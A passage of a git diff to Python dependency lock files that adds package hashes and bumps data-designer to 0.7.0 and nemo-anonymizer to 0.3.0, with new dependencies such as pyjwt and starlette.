--hash=sha256:4c41e021bc6d7affb3364dc1e1e5fa9582b470f283748784bd6ea0558f87f42c \ --hash=sha256:5023346c4ee7992febc0068e7593de5fa2bf611848c08404b35ebbb76b1b0512 \ --hash=sha256:531ef597132086b6cf96faa7c6c1dcd0361dd5f1694e5cc30375907b9b7d3ea9 \ + --hash=sha256:53ad387048f6f09a8969631e4de3f1bf70c50e93545d64af4f751b2498755072 \ --hash=sha256:53b1ea6ca88ebd4420379c330aea57e258408dd0df9af0992e5de2078dc9f5d5 \ --hash=sha256:578110dd426f0d209d1509244e6d4a3f1a3e9077655d98c5f22583d63252a08a \ + --hash=sha256:609d3614d78d74ebe35f54953c5bbd2ac647a7ddb9c30a5d877580f5e86b22f2 \ --hash=sha256:6b41389c19b07c760c7e427a3462e8ab83c4bb087d127f0e854c706ce1b9215c \ --hash=sha256:6f0fd84de0c957b2d280143522c4f91a73aada1923caee763e24a2b3fda9f8a5 \ --hash=sha256:7c6b9461a2a8b47c65eef63bb1c76a4f1c119618ffa99ea79bc5bb1e46c5821b \ + --hash=sha256:803a3c3ce4acc62eaf01eaca1208dcf0783025ef27572c3336502b9c232005e7 \ + --hash=sha256:8419ebd326430d1cbb7efb5292330a2cf39114e82df5cc3d83c9a0d5ebeaf2f2 \ --hash=sha256:877b0738624280e34c55680d6054a307aa94f7d52fa0e3034a9cc6e790871da7 \ + --hash=sha256:88f9fb0116fbfcefcab70f85cf4b74a2b6ce5d199c41345296f49d974ddb4123 \ + --hash=sha256:95451e6ce06c3e104556d73b559f5da6c34a069b6b62946d3ad66afcd51642ea \ --hash=sha256:99c8a9ed30f4164bc4c14b37a90208836cbf50d4ce2a57c71d0f52c7fb4f7598 \ --hash=sha256:9cbf44c5cb4a7633d078788e1b56387e3d3cf2b8139a3be38040b22d6c3221c8 \ + --hash=sha256:9ee33b875f0b390564c1fb7bc528abf18c8ee6073b201c6ae8524aca778e2d83 \ + --hash=sha256:a0e317df055958a0c1e79e5d2aa5a5eaa4a6d05a20d4b0c9c3f48918139c9fc6 \ --hash=sha256:a2df6afe50dea8ae15fa34c9f824a3ee958d785fd5d089063d960bae1daa0a3f \ --hash=sha256:a3d2bff8f37f8d0f96c7ec554d16945050d54462d6e95414babaa18bfafc7f51 \ + --hash=sha256:a8d00f29b42f534cc8aa3931cfe773b13b23e561e10d2b26f27a8d309b0e82a1 \ + --hash=sha256:aafe5dcfda86c8af00386d7781d4c2181b5011b7be3f2add5e99899ea925df05 \ --hash=sha256:aecfed0b41aa72b7881712c65cf764e39ce2ec352324f5e0837c7048d9e6daaa \ --hash=sha256:b2c6b50c7b0464165472b56b42d4c76a7b864597007d9c085e8b63e185cf4a7a \ --hash=sha256:b35d13d549077713e4414f927cdc388d62e543987c572baee613bf82f11a4b99 \ + --hash=sha256:b5405bb8f0e783a988172993cfc627e4d9d00432d6bbac65a923041edacf997d \ + --hash=sha256:be61f6fff406ca40e3b1d84716fde398fc08bc63dd96d15f3a14230a0973ed86 \ + --hash=sha256:c75eb09e8d55bceb4367e83496ff8ef2bc7ea6960efb38e978e8073ea59ecb67 \ --hash=sha256:cde9a2ecd91668bcb7f077c4966d8ceddb60af01b52e6e3e2680e4cf00ad1a59 \ + --hash=sha256:d1009abedb49ae95b136a8904a3f71b342f849ffeced2d3747bf29caeda218c4 \ + --hash=sha256:d7504f2b476d21653e4d143f44a175f7f751cd41233525312696c76aa3dbb23f \ --hash=sha256:dc52310451fc7c629e13c4e061cbe2dd01684d91f2f8ee2821b083c58bd72432 \ + --hash=sha256:e0fd068364a6759bc794459f0a735ab151d11304346332489c7972bacbe9e72b \ --hash=sha256:e5723c01a56c5028c807c701aa66722916d2747ad737a046853f6c46f4875543 \ - --hash=sha256:e7b0460976dc75cb87ad9cc1f9899a4b97751e7d4e77ab840fc9b6d377b8fd24 + --hash=sha256:e7b0460976dc75cb87ad9cc1f9899a4b97751e7d4e77ab840fc9b6d377b8fd24 \ + --hash=sha256:e9d9a4d06d3481eab79803beb4d9bd6f6a8e781ec078ac70d7ef2dcc29d1bea5 \ + --hash=sha256:ead11956716a940c1abc816b7df3fa2b84d06eaed8832ca32f5c5e058c65506b \ + --hash=sha256:f2af5c81a1f124609d5f33507082fc3f739959d4719b56877ab1ee7e7b3d602b \ + --hash=sha256:f514f6474e04179d3d33175ed3f3e31434d3130d42ec153540d5b157deefd735 \ + --hash=sha256:fda207c815b253e34f7e1909840fd14299567b1c0eb4908f8c2ce01a41265401 \ + --hash=sha256:fe8f8f5e70e6dbdfca9882cd9deaac058729bcf323cf7a58660901e55c9c94f6 # via aiohttp zipp==3.23.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e \ @@ -3292,27 +3710,39 @@ zipp==3.23.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (pl # via importlib-metadata zstandard==0.25.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a \ + --hash=sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6 \ + --hash=sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250 \ --hash=sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f \ --hash=sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3 \ --hash=sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6 \ + --hash=sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa \ --hash=sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611 \ --hash=sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b \ + --hash=sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e \ --hash=sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa \ --hash=sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf \ --hash=sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902 \ + --hash=sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc \ + --hash=sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98 \ + --hash=sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a \ --hash=sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097 \ --hash=sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea \ + --hash=sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb \ --hash=sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7 \ --hash=sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b \ --hash=sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a \ --hash=sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00 \ --hash=sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072 \ + --hash=sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065 \ + --hash=sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512 \ --hash=sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1 \ --hash=sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f \ --hash=sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b \ --hash=sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea \ --hash=sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277 \ - --hash=sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313 + --hash=sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708 \ + --hash=sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313 \ + --hash=sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551 # via # clickhouse-connect # langsmith diff --git a/uv.lock b/uv.lock index 0bbb03ade0..64537b9b65 100644 --- a/uv.lock +++ b/uv.lock @@ -1157,7 +1157,7 @@ wheels = [ [[package]] name = "data-designer" -version = "0.6.1" +version = "0.7.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "data-designer-config", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -1166,14 +1166,14 @@ dependencies = [ { name = "prompt-toolkit", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "typer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/bb/81/85bf662d1f7eff3ae182ee0569dee9865472ccc310bd887a4b160bbed147/data_designer-0.6.1.tar.gz", hash = "sha256:bee4baa4779fa1e1592270a64a0f63760de4025693b44344d97679aa1484b163", size = 206602, upload-time = "2026-06-01T22:35:49.598Z" } +sdist = { url = "https://files.pythonhosted.org/packages/3c/db/d8ac36a0d46790cc793eec7a61b8a349e6a18ae28c5fbff3c43271097c69/data_designer-0.7.0.tar.gz", hash = "sha256:c322682d7d14674e31d936be8db74e71e4eb31c9ab09e3ceef3c0fc84a5ddbeb", size = 208354, upload-time = "2026-06-26T21:40:08.646Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/6f/9e/6da970741c65178e54d4170e3b47d2df87cf4d1ec17da03c809868f389e0/data_designer-0.6.1-py3-none-any.whl", hash = "sha256:257e58e1fb860c59c9d0cc83969c52f313f55f113f112301672382d04be78a05", size = 148383, upload-time = "2026-06-01T22:35:48.467Z" }, + { url = "https://files.pythonhosted.org/packages/39/be/1d6b1736919346cbda39d347c866947b7afdd6f14c38b73d675b6180b271/data_designer-0.7.0-py3-none-any.whl", hash = "sha256:a97c65c45773ffd00d8a38ed0a3ab82c42fb627198b196e3f62ac3f30f9aee23", size = 150323, upload-time = "2026-06-26T21:40:07.422Z" }, ] [[package]] name = "data-designer-config" -version = "0.6.1" +version = "0.7.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "jinja2", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -1189,14 +1189,14 @@ dependencies = [ { name = "rich", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "urllib3", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/d4/13/76f616fbfffe1b6fe41d6d34cee72ba02b83f4e75d07a98159b6b7e62eec/data_designer_config-0.6.1.tar.gz", hash = "sha256:16f53fc34e11915aa821e3324de8e39bc6b03e7a2cd5402bbeca731bd6eea072", size = 150882, upload-time = "2026-06-01T22:35:43.292Z" } +sdist = { url = "https://files.pythonhosted.org/packages/7d/8d/362f4fa5a8259b137dae732548e03fcefca057c3d616c5369e294375aa4d/data_designer_config-0.7.0.tar.gz", hash = "sha256:4571cf46fc90e173e9723652f24e31a6555077ef8abe7ac543fd8edf9ce88fc3", size = 148833, upload-time = "2026-06-26T21:40:01.992Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/60/2c/97fd4210d0021ead0dac3b43fbfa80db13c52a7b8d26704d4d68ef39241a/data_designer_config-0.6.1-py3-none-any.whl", hash = "sha256:69a5de862246933e16e68a8b58fde90dad5156a14a20184fd276b6bff53cf2ae", size = 127974, upload-time = "2026-06-01T22:35:42.087Z" }, + { url = "https://files.pythonhosted.org/packages/45/1d/14f9380b2474f8900d6753e996ddfa610be4a3fd958f6952fb68ca7eaa8e/data_designer_config-0.7.0-py3-none-any.whl", hash = "sha256:2a18a8cfcf686c5d508db601d6ef749c057df82936d577072c2465b0674144ce", size = 126817, upload-time = "2026-06-26T21:40:00.629Z" }, ] [[package]] name = "data-designer-engine" -version = "0.6.1" +version = "0.7.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "anyascii", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -1217,15 +1217,17 @@ dependencies = [ { name = "mcp", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "networkx", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "numpy", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "pyjwt", extra = ["crypto"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "python-multipart", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "ruff", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "scipy", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "sqlfluff", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "starlette", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "tiktoken", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/fe/76/eb44cb07e748caa76330c496035be3f6d8187ff66139bc5a133f04b35237/data_designer_engine-0.6.1.tar.gz", hash = "sha256:fc75c0cb28aa8da0a98fe9a2ee101cdf05fb41d0cac01a9a4d7d2c40e1e72077", size = 900796, upload-time = "2026-06-01T22:35:46.759Z" } +sdist = { url = "https://files.pythonhosted.org/packages/2e/88/955e19ba0858990e05be8574406529dfb30a5858c7995293319dfc2a6f03/data_designer_engine-0.7.0.tar.gz", hash = "sha256:5835dd25e258170fab623867bc6bea19d6c1ce838454e8d0472376b0dbba2cf9", size = 894941, upload-time = "2026-06-26T21:40:05.451Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/2b/97/8465cb2171559ccbbf60b5d0fa1040a9e354a5354f622cabc5fcf32d1f59/data_designer_engine-0.6.1-py3-none-any.whl", hash = "sha256:f0d79b7e41e034ed31e946c617637ce1242a4283eb1031a8d5739d51fe85cfd5", size = 697247, upload-time = "2026-06-01T22:35:45.282Z" }, + { url = "https://files.pythonhosted.org/packages/a3/86/46a5b1c14e4b4703d3c2062bb840d0053a6d969c3ac7c771eb1e582c944c/data_designer_engine-0.7.0-py3-none-any.whl", hash = "sha256:33f38f6f6af706e70784290f6b40cf93711dc99033598fbdd695204d445918b5", size = 693643, upload-time = "2026-06-26T21:40:03.916Z" }, ] [[package]] @@ -1249,7 +1251,7 @@ test = [ [package.metadata] requires-dist = [ { name = "anyio", specifier = ">=4.0" }, - { name = "data-designer", specifier = "==0.6.1" }, + { name = "data-designer", specifier = "==0.7.0" }, { name = "duckdb" }, { name = "nemo-platform", editable = "packages/nemo_platform" }, { name = "pydantic", specifier = ">=2" }, @@ -4127,7 +4129,7 @@ provides-extras = ["container", "test"] [[package]] name = "nemo-anonymizer" -version = "0.2.1" +version = "0.3.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "cryptography", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -4135,11 +4137,12 @@ dependencies = [ { name = "data-designer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "httpx", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "pydantic", extra = ["email"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "pydantic-settings", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "pygments", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "tiktoken", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, ] wheels = [ - { url = "https://files.pythonhosted.org/packages/5b/ce/9cd57fc6e4317237e77e6d0d6df637309edf11926e0e2b8475decb7f9077/nemo_anonymizer-0.2.1-py3-none-any.whl", hash = "sha256:369ee9f717e3c346328bcef9767da3b596d5b927b5f9cc162ece95766b1d8aad", size = 189389, upload-time = "2026-06-03T23:04:18.907Z" }, + { url = "https://files.pythonhosted.org/packages/d2/f8/ea6c32e43aa71c91df7a158207cbc8fae66b82fa4ad6b37a630bdc35e108/nemo_anonymizer-0.3.0-py3-none-any.whl", hash = "sha256:a51f92f58fb86ffe09c9159768b309dd9138170022c1bae8565b8dc72effea7f", size = 231623, upload-time = "2026-07-13T18:17:23.197Z" }, ] [[package]] @@ -4168,13 +4171,13 @@ test = [ [package.metadata] requires-dist = [ - { name = "data-designer", specifier = "==0.6.1" }, + { name = "data-designer", specifier = "==0.7.0" }, { name = "data-designer-nemo", editable = "packages/data_designer_nemo" }, { name = "fastapi" }, { name = "fastapi", marker = "extra == 'test'", specifier = ">=0.115" }, { name = "httpx", specifier = ">=0.27" }, { name = "httpx", marker = "extra == 'test'", specifier = ">=0.27" }, - { name = "nemo-anonymizer", specifier = ">=0.2.1" }, + { name = "nemo-anonymizer", specifier = ">=0.3.0" }, { name = "nemo-platform", editable = "packages/nemo_platform" }, { name = "nemo-platform-plugin", editable = "packages/nemo_platform_plugin" }, { name = "pandas" }, @@ -4351,8 +4354,8 @@ test = [ requires-dist = [ { name = "anthropic", marker = "extra == 'nemo-platform-plugin'", specifier = ">=0.88.0" }, { name = "anyio", marker = "extra == 'data-designer-nemo'", specifier = ">=4.0" }, - { name = "data-designer", specifier = "==0.6.1" }, - { name = "data-designer", marker = "extra == 'data-designer-nemo'", specifier = "==0.6.1" }, + { name = "data-designer", specifier = "==0.7.0" }, + { name = "data-designer", marker = "extra == 'data-designer-nemo'", specifier = "==0.7.0" }, { name = "data-designer-nemo", editable = "packages/data_designer_nemo" }, { name = "duckdb", marker = "extra == 'data-designer-nemo'" }, { name = "duckdb", marker = "extra == 'test'" }, @@ -5214,12 +5217,12 @@ requires-dist = [ { name = "cloudpickle", marker = "extra == 'nemo-evaluator-plugin'", specifier = ">=3.1.1" }, { name = "cloudpickle", marker = "extra == 'plugins'", specifier = ">=3.1.1" }, { name = "cloudpickle", marker = "extra == 'services'", specifier = ">=3.1.1" }, - { name = "data-designer", marker = "extra == 'all'", specifier = "==0.6.1" }, - { name = "data-designer", marker = "extra == 'data-designer-nemo'", specifier = "==0.6.1" }, - { name = "data-designer", marker = "extra == 'nemo-anonymizer-plugin'", specifier = "==0.6.1" }, - { name = "data-designer", marker = "extra == 'nemo-data-designer-plugin'", specifier = "==0.6.1" }, - { name = "data-designer", marker = "extra == 'plugins'", specifier = "==0.6.1" }, - { name = "data-designer", marker = "extra == 'services'", specifier = "==0.6.1" }, + { name = "data-designer", marker = "extra == 'all'", specifier = "==0.7.0" }, + { name = "data-designer", marker = "extra == 'data-designer-nemo'", specifier = "==0.7.0" }, + { name = "data-designer", marker = "extra == 'nemo-anonymizer-plugin'", specifier = "==0.7.0" }, + { name = "data-designer", marker = "extra == 'nemo-data-designer-plugin'", specifier = "==0.7.0" }, + { name = "data-designer", marker = "extra == 'plugins'", specifier = "==0.7.0" }, + { name = "data-designer", marker = "extra == 'services'", specifier = "==0.7.0" }, { name = "data-designer-nemo", marker = "extra == 'all'", editable = "packages/data_designer_nemo" }, { name = "data-designer-nemo", marker = "extra == 'nemo-anonymizer-plugin'", editable = "packages/data_designer_nemo" }, { name = "data-designer-nemo", marker = "extra == 'nemo-data-designer-plugin'", editable = "packages/data_designer_nemo" }, @@ -5376,10 +5379,10 @@ requires-dist = [ { name = "nemo-agents-example-calculator", marker = "extra == 'nemo-agents-plugin'", editable = "plugins/nemo-agents/examples/calculator-agent" }, { name = "nemo-agents-example-calculator", marker = "extra == 'plugins'", editable = "plugins/nemo-agents/examples/calculator-agent" }, { name = "nemo-agents-example-calculator", marker = "extra == 'services'", editable = "plugins/nemo-agents/examples/calculator-agent" }, - { name = "nemo-anonymizer", marker = "extra == 'all'", specifier = ">=0.2.1" }, - { name = "nemo-anonymizer", marker = "extra == 'nemo-anonymizer-plugin'", specifier = ">=0.2.1" }, - { name = "nemo-anonymizer", marker = "extra == 'plugins'", specifier = ">=0.2.1" }, - { name = "nemo-anonymizer", marker = "extra == 'services'", specifier = ">=0.2.1" }, + { name = "nemo-anonymizer", marker = "extra == 'all'", specifier = ">=0.3.0" }, + { name = "nemo-anonymizer", marker = "extra == 'nemo-anonymizer-plugin'", specifier = ">=0.3.0" }, + { name = "nemo-anonymizer", marker = "extra == 'plugins'", specifier = ">=0.3.0" }, + { name = "nemo-anonymizer", marker = "extra == 'services'", specifier = ">=0.3.0" }, { name = "nemo-auditor-plugin", marker = "extra == 'all'", editable = "plugins/nemo-auditor" }, { name = "nemo-auditor-plugin", marker = "extra == 'platform-seed-service'", editable = "plugins/nemo-auditor" }, { name = "nemo-auditor-plugin", marker = "extra == 'services'", editable = "plugins/nemo-auditor" },